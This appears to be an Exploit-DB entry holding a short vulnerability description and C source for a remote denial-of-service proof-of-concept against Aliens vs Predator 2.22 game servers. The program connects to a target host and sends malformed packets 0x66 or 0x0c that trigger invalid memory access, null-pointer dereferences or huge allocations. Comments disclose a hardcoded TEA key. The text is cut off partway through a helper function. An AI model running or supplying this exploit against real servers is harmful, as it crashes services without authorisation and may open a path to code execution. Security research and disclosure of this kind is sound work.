Exploit-DB #33971
Description: Rebellion Aliens vs Predator 2.22 - Multiple Memory Corruption Vulnerabilities
Type: remote
Platform: windows
Date: 2010-05-07
Author: Luigi Auriemma

Exploit:
// source: https://www.securityfocus.com/bid/40041/info

Rebellion Aliens vs Predator is prone to multiple memory-corruption vulnerabilities.

Successfully exploiting these issues allows remote attackers to cause denial-of-service conditions. Due to the nature of these issues, arbitrary code execution may be possible; this has not been confirmed.

Aliens vs Predator 2.22 is vulnerable; other versions may also be affected. 

/*
  by Luigi Auriemma
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define sleep   Sleep
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
    #define stristr strcasestr
    #define stricmp strcasecmp
#endif

typedef uint8_t     u8;
typedef uint16_t    u16;
typedef uint32_t    u32;



#define VER         "0.1.1"
#define PORT        27010
#define BUFFSZ      0x400   // max size supported by the game
#define RAND_UNIC   \
    putrr(nick, sizeof(nick) - 1, 1); \
    for(x = 0;; x++) { \
        p += putxx(p, nick[x], 16); \
        if(!nick[x]) break; \
    }



int tcp_sock(struct sockaddr_in *peer);
int avp3_send(int sd, int type, u8 *data, int len);
int avp3_recv(int sd, int *type, u8 *data);
int putrr(u8 *data, int len, int sx);
int putcc(u8 *data, int chr, int len);
int putxx(u8 *data, u32 num, int bits);
int getxx(u8 *data, u32 *ret, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd,
            x,
            len,
            rnd,    // id?
            bug,
            type;
    u16     port    = PORT;
    u8      buff[BUFFSZ],
            nick[32 + 1],
            *host,
            *p;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "Alien vs Predator <= 2.22 multiple vulnerabilities "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <bug> <host> [port(%hu)]>\n"
            "\n"
            "Bugs:\n"
            " 1 = invalid memory access in packet 0x66\n"
            " 2 = out of memory allocation in packet 0x66\n"
            " 3 = NULL pointer in packet 0x66\n"
            " 4 = NULL pointer in packet 0x0c\n"
            " 5 = invalid memory access in packet 0x0c\n"
            "\n", argv[0], port);
        exit(1);
    }
    bug  = atoi(argv[1]);
    host = argv[2];
    if(argc > 3) port = atoi(argv[3]);

    peer.sin_addr.s_addr = resolv(host);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));

    rnd = time(NULL) ^ peer.sin_port ^ peer.sin_addr.s_addr;

    sd = tcp_sock(&peer);

    p = buff;
    p += putxx(p, 0x00002832, 32);  // version? (const static)
    p += putxx(p, rnd,        32);
    p += putxx(p, 0x01100001, 32);
    p += putxx(p, -1, 32);
    p += putcc(p, 0, 0x14);
    // the game limits the nickname to 32 chars
    RAND_UNIC
    p += putcc(p, 0, 0xec - (p - buff));    // fixed size

    if(avp3_send(sd, 0xf000, buff, p - buff) < 0) goto quit;
    len = avp3_recv(sd, NULL, buff);
    if(len < 0) goto quit;

    printf("- send malformed packet\n");
    p = buff;
    if(bug == 1) {
        p += putrr(p, 0x20, 0); // encrypted with tea key: "J2Z4163G1W3B1PX4", other hidden string "_PAK9TEHAWESOME_"
        p += putcc(p, 0,    8);
        p += putxx(p, rnd,        32);
        p += putxx(p, 0x01100001, 32);
        p += putxx(p, 0xffff, 32);      // high enough to be allocated but bigger than the source buffer
        p += putcc(p, 'a', 0xcc);       // 0xcc would be the valid ticket size
        type = 0x66;
    } else if(bug == 2) {
        p += putrr(p, 0x20, 0); // encrypted with tea key: "J2Z4163G1W3B1PX4", other hidden string "_PAK9TEHAWESOME_"
        p += putcc(p, 0,    8);
        p += putxx(p, rnd,        32);
        p += putxx(p, 0x01100001, 32);
        p += putxx(p, 0x6fffffff, 32);  // unallocable
        p += putcc(p, 'a', 0xcc);       // 0xcc would be the valid ticket size
        type = 0x66;
    } else if(bug == 3) {
        type = 0x66;
    } else if(bug == 4) {
        type = 0x0c;
    } else if(bug == 5) {
        p += putxx(p, 0xf010,     32);
        p += putxx(p, 0xccbd,     32);
        p += putxx(p, 100,        32);
        p += putxx(p, 0x800,      32);  // amount of chars that compose the message (0x800 is the max)
        p += putxx(p, rnd,        32);
        p += putxx(p, 0x01100001, 32);
        p += putxx(p, 0x05,       16);
        RAND_UNIC   // the message
        p += putxx(p, 0, 32);
        type = 0x0c;
    } else {
        printf("\nError: invalid bug number (%d)\n", bug);
        exit(1);
    }

    // in my tests in some cases is needed to send the packet multiple times
    for(x = 0; x < 5; x++) {
        if(avp3_send(sd, type, buff, p - buff) < 0) goto quit;
    }
    len = avp3_recv(sd, NULL, buff);
    if(len < 0) goto quit;

    close(sd);
    printf("\n- check the server manually for verifying if it's vulnerable or not\n");
    return(0);
quit:
    printf("\nError: connection interrupted or something else\n");
    exit(1);
    return(0);
}



int tcp_sock(struct sockaddr_in *peer) {
    struct  linger  ling = {1,1};
    int     sd;

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();
    if(connect(sd, (st